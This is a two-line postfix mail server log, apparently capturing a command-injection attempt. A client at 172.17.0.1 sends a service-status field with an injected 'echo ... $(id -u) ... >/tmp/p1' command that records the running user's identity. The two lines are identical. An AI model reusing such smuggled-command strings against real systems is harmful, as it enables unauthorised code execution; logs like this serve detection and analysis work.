Aug 20 17:48:10 mail postfix/smtpd[473]: improper command pipelining after VRFY from unknown[172.17.0.1]: : Service status change: h x;echo v2:u$(id -u):n$(id -un)>/tmp/p1;# changed from stopped to running\r Aug 20 17:48:10 mail postfix/smtpd[473]: improper command pipelining after VRFY from unknown[172.17.0.1]: : Service status change: h x;echo v2:u$(id -u):n$(id -un)>/tmp/p1;# changed from stopped to running\r